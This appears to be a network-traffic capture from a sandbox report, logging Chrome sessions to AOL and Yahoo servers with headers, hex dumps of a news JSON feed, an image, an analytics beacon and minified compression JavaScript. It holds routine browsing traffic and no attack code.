2024-05-23 22:34:45 UTC	791	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:45 GMT Content-Type: application/json; charset=utf-8 X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 X-Download-Options: noopen Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept x-cached-cookies: weathergeo Status-Code: 200 X-App-Version: 70.0.0 X-Applet-Version: 1 Vary: Accept-Encoding Age: 0 Server: ATS Referrer-Policy: no-referrer-when-downgrade Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 31 36 63 36 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 72 65 73 70 6f 6e 73 65 22 3a 7b 22 61 72 74 69 63 6c 65 73 22 3a 5b 7b 22 69 64 22 3a 22 64 66 61 66 35 66 30 63 2d 34 32 38 35 2d 33 61 34 37 2d 62 34 32 36 2d 36 62 30 37 39 35 33 37 64 35 62 63 22 2c 22 63 6f 6e 74 65 6e 74 54 79 70 65 22 3a 22 53 54 4f 52 59 22 2c 22 74 69 74 6c 65 22 3a 22 50 72 6f 66 69 74 73 20 66 65 6c 6c 20 66 6f 72 20 4e 4a 20 63 61 73 69 6e 6f 73 20 69 6e 20 66 69 72 73 74 20 71 75 61 72 74 65 72 20 6f 66 20 32 30 32 34 2c 20 64 65 73 70 69 74 65 20 66 69 6c 6c 69 6e 67 20 6d 6f 72 65 20 72 6f 6f 6d 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 73 75 6d 6d 61 72 79 22 3a 22 54 68 65 20 6e 69 6e 65 20 63 61 73 69 6e 6f 73 20 6d 61 64 65 20 24 31 34 30 20 6d 69 6c Data Ascii: 16c6{"data":{"response":{"articles":[{"id":"dfaf5f0c-4285-3a47-b426-6b079537d5bc","contentType":"STORY","title":"Profits fell for NJ casinos in first quarter of 2024, despite filling more rooms","description":"","summary":"The nine casinos made $140 mil
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 72 73 68 69 70 20 74 6f 20 66 69 67 68 74 20 61 6e 74 69 73 65 6d 69 74 69 73 6d 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 73 75 6d 6d 61 72 79 22 3a 22 54 68 65 20 44 65 70 61 72 74 6d 65 6e 74 20 6f 66 20 45 64 75 63 61 74 69 6f 6e 20 75 6e 76 65 69 6c 65 64 20 61 20 6e 65 77 20 70 61 72 74 6e 65 72 73 68 69 70 20 77 69 74 68 20 74 68 65 20 4a 65 77 69 73 68 20 43 68 69 6c 64 72 65 6e 27 73 20 4d 75 73 65 75 6d 20 74 6f 20 65 64 75 63 61 74 65 20 6b 69 64 73 20 61 62 6f 75 74 20 4a 65 77 69 73 68 20 63 75 6c 74 75 72 65 20 69 6e 20 61 6e 20 65 66 66 6f 72 74 20 74 6f 20 63 6f 6d 62 61 74 20 61 20 72 65 63 65 6e 74 20 73 70 69 6b 65 20 69 6e 20 61 6e 74 69 73 65 6d 69 74 69 73 6d 2e 20 41 74 20 61 20 67 61 6c 61 20 57 65 64 6e 65 73 64 Data Ascii: rship to fight antisemitism","description":"","summary":"The Department of Education unveiled a new partnership with the Jewish Children's Museum to educate kids about Jewish culture in an effort to combat a recent spike in antisemitism. At a gala Wednesd
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 70 61 72 74 6d 65 6e 74 2d 6f 66 2d 65 64 75 63 61 74 69 6f 6e 2e 68 74 6d 6c 22 2c 22 70 72 6f 76 69 64 65 72 4c 6f 67 6f 49 6d 67 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 69 64 22 3a 22 64 36 63 33 63 34 31 37 2d 62 65 38 31 2d 33 62 39 33 2d 38 39 63 66 2d 65 64 62 33 63 62 65 37 33 36 38 32 22 2c 22 63 6f 6e 74 65 6e 74 54 79 70 65 22 3a 22 4f 46 46 4e 45 54 22 2c 22 74 69 74 6c 65 22 3a 22 4f 70 2d 45 64 20 7c 20 43 68 65 65 72 69 6e 67 20 43 55 4e 59 27 73 20 43 6c 61 73 73 20 6f 66 20 27 32 34 20 66 6f 72 20 70 65 72 73 65 76 65 72 61 6e 63 65 2c 20 74 61 6c 65 6e 74 20 26 20 67 72 69 74 20 7c 20 61 6d 4e 65 77 59 6f 72 6b 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 73 75 6d 6d 61 72 79 22 3a 22 43 55 4e 59 27 73 20 69 6d 70 61 63 74 Data Ascii: partment-of-education.html","providerLogoImgUrl":null},{"id":"d6c3c417-be81-3b93-89cf-edb3cbe73682","contentType":"OFFNET","title":"Op-Ed \| Cheering CUNY's Class of '24 for perseverance, talent & grit \| amNewYork","description":"","summary":"CUNY's impact
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6d 6e 79 2e 63 6f 6d 2f 6f 70 69 6e 69 6f 6e 2f 63 68 65 65 72 69 6e 67 2d 63 75 6e 79 73 2d 63 6c 61 73 73 2d 6f 66 2d 32 34 2f 22 2c 22 73 6f 75 72 63 65 22 3a 22 22 2c 22 70 6f 6c 6c 73 22 3a 6e 75 6c 6c 2c 22 6c 69 6e 6b 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6f 6c 2e 63 6f 6d 2f 6d 2f 64 36 63 33 63 34 31 37 2d 62 65 38 31 2d 33 62 39 33 2d 38 39 63 66 2d 65 64 62 33 63 62 65 37 33 36 38 32 2f 6f 70 2d 65 64 2d 63 68 65 65 72 69 6e 67 2d 63 75 6e 79 2d 73 2d 63 6c 61 73 73 2e 68 74 6d 6c 22 2c 22 70 72 6f 76 69 64 65 72 4c 6f 67 6f 49 6d 67 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 69 64 22 3a 22 39 37 34 32 36 31 31 62 2d 36 39 37 61 2d 33 38 38 38 2d 39 37 61 37 2d 32 37 35 66 35 66 31 35 37 61 32 Data Ascii: :"https://www.amny.com/opinion/cheering-cunys-class-of-24/","source":"","polls":null,"link":"https://www.aol.com/m/d6c3c417-be81-3b93-89cf-edb3cbe73682/op-ed-cheering-cuny-s-class.html","providerLogoImgUrl":null},{"id":"9742611b-697a-3888-97a7-275f5f157a2
2024-05-23 22:34:45 UTC	643	IN	Data Raw: 64 65 6e 74 73 2d 68 6f 73 70 69 74 61 6c 69 7a 65 64 2e 68 74 6d 6c 22 2c 22 63 61 6e 6f 6e 69 63 61 6c 55 72 6c 22 3a 6e 75 6c 6c 2c 22 63 6c 69 63 6b 54 68 72 6f 75 67 68 55 72 6c 22 3a 6e 75 6c 6c 2c 22 74 68 75 6d 62 6e 61 69 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 2e 61 6f 6c 63 64 6e 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 64 69 6d 73 3f 74 68 75 6d 62 6e 61 69 6c 3d 32 30 30 25 32 43 32 30 30 25 32 43 61 75 74 6f 26 69 6d 61 67 65 5f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 73 2e 79 69 6d 67 2e 63 6f 6d 25 32 46 61 6d 25 32 46 36 30 64 25 32 46 35 37 31 63 31 34 36 37 65 37 37 32 36 32 34 37 35 65 65 66 38 33 39 38 35 33 33 64 38 34 66 34 26 63 6c 69 65 6e 74 3d 37 36 66 39 39 62 64 62 38 66 37 38 63 64 34 34 63 63 30 62 26 73 69 67 6e 61 Data Ascii: dents-hospitalized.html","canonicalUrl":null,"clickThroughUrl":null,"thumbnail":"https://s.aolcdn.com/images/dims?thumbnail=200%2C200%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fam%2F60d%2F571c1467e77262475eef8398533d84f4&client=76f99bdb8f78cd44cc0b&signa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49830	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:45 UTC	811	OUT	GET /images/dims?format=jpg&quality=80&thumbnail=32%2C32&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-07%2F3c019bd0-ee43-11eb-bced-b4b62d80677d&client=76f99bdb8f78cd44cc0b&signature=3aa198e79469e4081181851b7817f9aefe8b4866 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:45 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53711 Cache-Control: public, max-age=604800 Cache-Tag: 397222119743688046708885623724902591450,465469888903553321945808670550188595385,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000049-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/jpeg Date: Thu, 23 May 2024 22:34:45 GMT Edge-Cache-Tag: 397222119743688046708885623724902591450,465469888903553321945808670550188595385,ae7a14591aaf8d474cdb3f92111c923e Etag: "79aab87c4d862190541fa781b46dd8ae" Expiration: expiry-date="Wed, 31 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 01 Feb 2024 07:23:26 GMT Server: ECAcc (lhd/3586) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=32,height=32,bytes=1480,owidth=400,oheight=400,obytes=36183,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21925-LGA X-Timer: S1711265974.483537,VS0,VE1 Content-Length: 1480 Connection: close
2024-05-23 22:34:45 UTC	1480	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 03 03 03 03 03 03 04 04 04 04 05 05 05 05 05 07 07 06 06 07 07 0b 08 09 08 09 08 0b 11 0b 0c 0b 0b 0c 0b 11 0f 12 0f 0e 0f 12 0f 1b 15 13 13 15 1b 1f 1a 19 1a 1f 26 22 22 26 30 2d 30 3e 3e 54 01 03 03 03 03 03 03 04 04 04 04 05 05 05 05 05 07 07 06 06 07 07 0b 08 09 08 09 08 0b 11 0b 0c 0b 0b 0c 0b 11 0f 12 0f 0e 0f 12 0f 1b 15 13 13 15 1b 1f 1a 19 1a 1f 26 22 22 26 30 2d 30 3e 3e 54 ff c0 00 11 08 00 20 00 20 03 01 11 00 02 11 01 03 11 01 ff c4 00 79 00 01 01 01 00 03 00 00 00 00 00 00 00 00 00 00 00 08 06 01 03 04 07 10 00 02 01 03 03 04 03 01 01 00 00 00 00 00 00 00 01 02 03 04 05 06 00 11 61 07 12 31 41 13 21 22 14 32 01 00 02 02 03 01 00 00 00 00 00 00 00 00 00 00 00 05 07 00 Data Ascii: JFIF&""&0-0>>T&""&0-0>>T ya1A!"2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49835	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:45 UTC	767	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=1197803361&yhlCT=2&yhlBTMS=1716503683997&yhlClientVer=3.56.0&yhlRnd=OXU0hISCqa4DhMZt&yhlCompressed=0 HTTP/1.1 Host: 3p-udc.yahoo.com Connection: keep-alive Content-Length: 2047 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:45 UTC	2047	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 25 37 42 25 32 32 62 70 25 32 32 25 33 41 25 37 42 25 32 32 5f 61 31 73 25 32 32 25 33 41 25 32 32 64 25 33 44 41 51 41 42 42 48 62 45 54 32 59 43 45 4d 7a 34 30 33 57 51 4b 63 59 4e 69 49 77 76 72 41 75 70 31 69 4d 46 45 67 45 42 41 51 45 56 55 57 5a 5a 5a 74 77 72 30 69 4d 41 5f 65 4d 41 41 41 25 32 36 53 25 33 44 41 51 41 41 41 6c 5a 45 52 58 34 66 77 2d 54 44 66 5a 76 46 35 56 66 55 77 46 67 25 32 32 25 32 43 25 32 32 5f 70 6c 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 41 5f 76 25 32 32 25 33 41 25 32 32 33 2e 35 36 2e 30 25 32 32 25 32 43 25 32 32 41 5f 63 6e 25 32 32 25 33 41 25 32 32 41 4e 41 4c 59 54 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_a1s%22%3A%22d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%22%2C%22_pl%22%3A%221%22%2C%22A_v%22%3A%223.56.0%22%2C%22A_cn%22%3A%22ANALYT
2024-05-23 22:34:45 UTC	817	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.aol.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Thu, 23 May 2024 22:34:45 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEOPk16Fir_9Cm3gKHvXZe9sFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAAmf-8lTCbbcd7MTS2FlN0VI; Expires=Sat, 24 May 2025 04:34:45 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49838	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:45 UTC	908	OUT	GET /lib/metro/g/myy/rapidworker_1_2_0.0.2.js HTTP/1.1 Host: www.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-05-23 22:34:45 UTC	1055	IN	HTTP/1.1 200 OK x-amz-id-2: 72R5VQjQ4lYBvIdCcozID/LPx6C/Vq4AiicfFgJ8Vjy5EeTfa1Bs2Lryt6hynzxVqiB7fn9viHc= x-amz-request-id: 651V0MVWVVYQXW6C Date: Mon, 06 May 2024 07:31:30 GMT Last-Modified: Fri, 06 Jul 2018 04:18:58 GMT ETag: "afff28b6dd72d1bd824133318ddeaa17" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000,public x-amz-meta-created-date: Mon, 05 Jan 2015 14:32:02 GMT x-amz-meta-mbst-etag: "YM:1:8514ac89-424f-4bf7-8991-9907ccdf05d700050be88dc2a686" x-amz-meta-x-ysws-mbst-vtime: 1420468322215558 x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: application/x-javascript Server: ATS Content-Length: 16605 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1522995 ATS-Carp-Promotion: 1 ATS-Carp-Promotion: 1 Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 62 61 73 65 36 34 28 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 74 6f 61 29 7b 72 65 74 75 72 6e 20 62 74 6f 61 28 62 29 3b 7d 66 6f 72 28 76 61 72 20 71 2c 6b 2c 64 2c 6a 2c 63 2c 68 2c 6d 2c 67 3d 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 2c 70 3d 5b 5d 2c 76 3d 30 3b 62 2e 6c 65 6e 67 74 68 3e 76 3b 29 7b 71 3d 62 2e 63 68 61 72 43 6f 64 65 41 74 28 76 2b 2b 29 2c 6b 3d 62 2e 63 68 61 72 43 6f 64 65 41 74 28 76 2b 2b 29 2c 64 3d 62 2e 63 68 61 72 43 6f 64 65 41 74 28 76 2b 2b 29 2c 6a 3d 71 3e 3e 32 2c 63 3d 28 33 26 71 29 3c 3c 34 Data Ascii: function base64(b){if("undefined"!=typeof btoa){return btoa(b);}for(var q,k,d,j,c,h,m,g="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",p=[],v=0;b.length>v;){q=b.charCodeAt(v++),k=b.charCodeAt(v++),d=b.charCodeAt(v++),j=q>>2,c=(3&q)<<4
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 2c 61 6b 3d 32 35 36 2c 61 45 3d 32 35 36 2c 61 70 3d 61 6b 2b 31 2b 61 69 2c 61 61 3d 33 30 2c 62 36 3d 31 39 2c 63 72 3d 31 36 2c 62 33 3d 31 37 2c 62 48 3d 31 38 2c 63 63 3d 32 2a 61 70 2b 31 2c 61 71 3d 70 61 72 73 65 49 6e 74 28 28 62 68 2b 62 63 2d 31 29 2f 62 63 29 2c 61 62 3d 6e 75 6c 6c 2c 63 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 66 63 3d 30 2c 74 68 69 73 2e 64 6c 3d 30 3b 7d 2c 61 7a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 64 79 6e 5f 74 72 65 65 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 74 61 74 69 63 5f 74 72 65 65 3d 6e 75 6c 6c 2c 74 68 69 73 2e 65 78 74 72 61 5f 62 69 74 73 3d 6e 75 6c 6c 2c 74 68 69 73 2e 65 78 74 72 61 5f 62 61 73 65 3d 30 2c 74 68 69 73 2e 65 6c 65 6d 73 3d 30 2c 74 68 69 73 2e 6d 61 78 5f 6c 65 6e Data Ascii: ,ak=256,aE=256,ap=ak+1+ai,aa=30,b6=19,cr=16,b3=17,bH=18,cc=2*ap+1,aq=parseInt((bh+bc-1)/bc),ab=null,ca=function(){this.fc=0,this.dl=0;},az=function(){this.dyn_tree=null,this.static_tree=null,this.extra_bits=null,this.extra_base=0,this.elems=0,this.max_len
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 65 77 20 63 61 3b 7d 62 41 3d 6e 65 77 20 61 7a 2c 62 72 3d 6e 65 77 20 61 7a 2c 62 6c 3d 6e 65 77 20 61 7a 2c 63 67 3d 41 72 72 61 79 28 62 45 2b 31 29 2c 63 6d 3d 41 72 72 61 79 28 32 2a 61 70 2b 31 29 2c 62 6d 3d 41 72 72 61 79 28 32 2a 61 70 2b 31 29 2c 63 69 3d 41 72 72 61 79 28 61 36 2d 62 63 2b 31 29 2c 61 4a 3d 41 72 72 61 79 28 35 31 32 29 2c 61 44 3d 41 72 72 61 79 28 61 69 29 2c 62 57 3d 41 72 72 61 79 28 61 61 29 2c 63 6b 3d 41 72 72 61 79 28 70 61 72 73 65 49 6e 74 28 62 59 2f 38 29 29 3b 7d 7d 2c 61 30 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 6e 65 78 74 3d 61 4c 2c 61 4c 3d 61 3b 7d 2c 63 75 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 61 4c 3f 28 61 3d 61 4c 2c 61 4c 3d 61 4c 2e 6e 65 78 Data Ascii: ew ca;}bA=new az,br=new az,bl=new az,cg=Array(bE+1),cm=Array(2ap+1),bm=Array(2ap+1),ci=Array(a6-bc+1),aJ=Array(512),aD=Array(ai),bW=Array(aa),ck=Array(parseInt(bY/8));}},a0=function(a){a.next=aL,aL=a;},cu=function(){var a;return null!=aL?(a=aL,aL=aL.nex
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 2b 2b 6d 5d 3d 3d 61 55 5b 68 2b 31 5d 29 7b 68 2b 3d 32 2c 6d 2b 2b 3b 64 6f 7b 7d 77 68 69 6c 65 28 61 55 5b 2b 2b 68 5d 3d 3d 61 55 5b 2b 2b 6d 5d 26 26 61 55 5b 2b 2b 68 5d 3d 3d 61 55 5b 2b 2b 6d 5d 26 26 61 55 5b 2b 2b 68 5d 3d 3d 61 55 5b 2b 2b 6d 5d 26 26 61 55 5b 2b 2b 68 5d 3d 3d 61 55 5b 2b 2b 6d 5d 26 26 61 55 5b 2b 2b 68 5d 3d 3d 61 55 5b 2b 2b 6d 5d 26 26 61 55 5b 2b 2b 68 5d 3d 3d 61 55 5b 2b 2b 6d 5d 26 26 61 55 5b 2b 2b 68 5d 3d 3d 61 55 5b 2b 2b 6d 5d 26 26 61 55 5b 2b 2b 68 5d 3d 3d 61 55 5b 2b 2b 6d 5d 26 26 67 3e 68 29 3b 69 66 28 69 3d 61 36 2d 28 67 2d 68 29 2c 68 3d 67 2d 61 36 2c 69 3e 63 29 7b 69 66 28 62 73 3d 62 2c 63 3d 69 2c 61 34 29 7b 69 66 28 69 3e 3d 61 36 29 7b 62 72 65 61 6b 3b 7d 7d 65 6c 73 65 7b 69 66 28 69 3e 3d 62 Data Ascii: ++m]==aU[h+1]){h+=2,m++;do{}while(aU[++h]==aU[++m]&&aU[++h]==aU[++m]&&aU[++h]==aU[++m]&&aU[++h]==aU[++m]&&aU[++h]==aU[++m]&&aU[++h]==aU[++m]&&aU[++h]==aU[++m]&&aU[++h]==aU[++m]&&g>h);if(i=a6-(g-h),h=g-a6,i>c){if(bs=b,c=i,a4){if(i>=a6){break;}}else{if(i>=b
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 7c 28 61 46 3d 30 2c 62 4e 3d 30 2c 61 42 28 29 2c 63 73 28 29 2c 61 47 3d 6e 75 6c 6c 2c 61 37 3d 30 2c 61 48 3d 30 2c 61 32 3d 30 2c 33 3e 3d 62 70 3f 28 62 78 3d 62 63 2d 31 2c 62 46 3d 30 29 3a 28 62 46 3d 62 63 2d 31 2c 61 32 3d 30 2c 61 32 3d 30 29 2c 62 66 3d 21 31 29 3b 7d 2c 63 71 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 61 2c 63 29 7b 76 61 72 20 64 3b 72 65 74 75 72 6e 20 61 59 7c 7c 28 61 76 28 29 2c 61 59 3d 21 30 2c 30 21 3d 62 53 29 3f 28 64 3d 61 63 28 62 2c 61 2c 63 29 29 3d 3d 63 3f 63 3a 62 66 3f 64 3a 28 33 3e 3d 62 70 3f 61 50 28 29 3a 62 44 28 29 2c 30 3d 3d 62 53 26 26 28 30 21 3d 61 32 26 26 62 5a 28 30 2c 32 35 35 26 61 55 5b 62 50 2d 31 5d 29 2c 62 39 28 31 29 2c 62 66 3d 21 30 29 2c 64 2b 61 63 28 62 2c 64 2b 61 2c 63 2d 64 29 29 3a Data Ascii: \|(aF=0,bN=0,aB(),cs(),aG=null,a7=0,aH=0,a2=0,3>=bp?(bx=bc-1,bF=0):(bF=bc-1,a2=0,a2=0),bf=!1);},cq=function(b,a,c){var d;return aY\|\|(av(),aY=!0,0!=bS)?(d=ac(b,a,c))==c?c:bf?d:(3>=bp?aP():bD(),0==bS&&(0!=a2&&bZ(0,255&aU[bP-1]),b9(1),bf=!0),d+ac(b,d+a,c-d)):
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 7b 62 4a 5b 62 2b 2b 5d 2e 64 6c 3d 37 2c 63 67 5b 37 5d 2b 2b 3b 7d 66 6f 72 28 3b 32 38 37 3e 3d 62 3b 29 7b 62 4a 5b 62 2b 2b 5d 2e 64 6c 3d 38 2c 63 67 5b 38 5d 2b 2b 3b 7d 66 6f 72 28 62 37 28 62 4a 2c 61 70 2b 31 29 2c 62 3d 30 3b 61 61 3e 62 3b 62 2b 2b 29 7b 62 43 5b 62 5d 2e 64 6c 3d 35 2c 62 43 5b 62 5d 2e 66 63 3d 61 5a 28 62 2c 35 29 3b 7d 63 68 28 29 3b 7d 7d 2c 63 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3b 66 6f 72 28 61 3d 30 3b 61 70 3e 61 3b 61 2b 2b 29 7b 62 4c 5b 61 5d 2e 66 63 3d 30 3b 7d 66 6f 72 28 61 3d 30 3b 61 61 3e 61 3b 61 2b 2b 29 7b 62 4b 5b 61 5d 2e 66 63 3d 30 3b 7d 66 6f 72 28 61 3d 30 3b 62 36 3e 61 3b 61 2b 2b 29 7b 62 42 5b 61 5d 2e 66 63 3d 30 3b 7d 62 4c 5b 61 45 5d 2e 66 63 3d 31 2c 63 6a 3d 63 78 3d 30 Data Ascii: {bJ[b++].dl=7,cg[7]++;}for(;287>=b;){bJ[b++].dl=8,cg[8]++;}for(b7(bJ,ap+1),b=0;aa>b;b++){bC[b].dl=5,bC[b].fc=aZ(b,5);}ch();}},ch=function(){var a;for(a=0;ap>a;a++){bL[a].fc=0;}for(a=0;aa>a;a++){bK[a].fc=0;}for(a=0;b6>a;a++){bB[a].fc=0;}bL[aE].fc=1,cj=cx=0
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 6c 29 3b 7d 66 6f 72 28 62 2e 6d 61 78 5f 63 6f 64 65 3d 68 2c 70 3d 62 77 3e 3e 31 3b 70 3e 3d 31 3b 70 2d 2d 29 7b 61 6c 28 64 2c 70 29 3b 7d 64 6f 7b 70 3d 63 6d 5b 62 31 5d 2c 63 6d 5b 62 31 5d 3d 63 6d 5b 62 77 2d 2d 5d 2c 61 6c 28 64 2c 62 31 29 2c 6b 3d 63 6d 5b 62 31 5d 2c 63 6d 5b 2d 2d 63 7a 5d 3d 70 2c 63 6d 5b 2d 2d 63 7a 5d 3d 6b 2c 64 5b 6d 5d 2e 66 63 3d 64 5b 70 5d 2e 66 63 2b 64 5b 6b 5d 2e 66 63 2c 62 6d 5b 6d 5d 3d 62 6d 5b 70 5d 3e 62 6d 5b 6b 5d 2b 31 3f 62 6d 5b 70 5d 3a 62 6d 5b 6b 5d 2b 31 2c 64 5b 70 5d 2e 64 6c 3d 64 5b 6b 5d 2e 64 6c 3d 6d 2c 63 6d 5b 62 31 5d 3d 6d 2b 2b 2c 61 6c 28 64 2c 62 31 29 3b 7d 77 68 69 6c 65 28 62 77 3e 3d 32 29 3b 63 6d 5b 2d 2d 63 7a 5d 3d 63 6d 5b 62 31 5d 2c 63 62 28 62 29 2c 62 37 28 64 2c 68 29 Data Ascii: 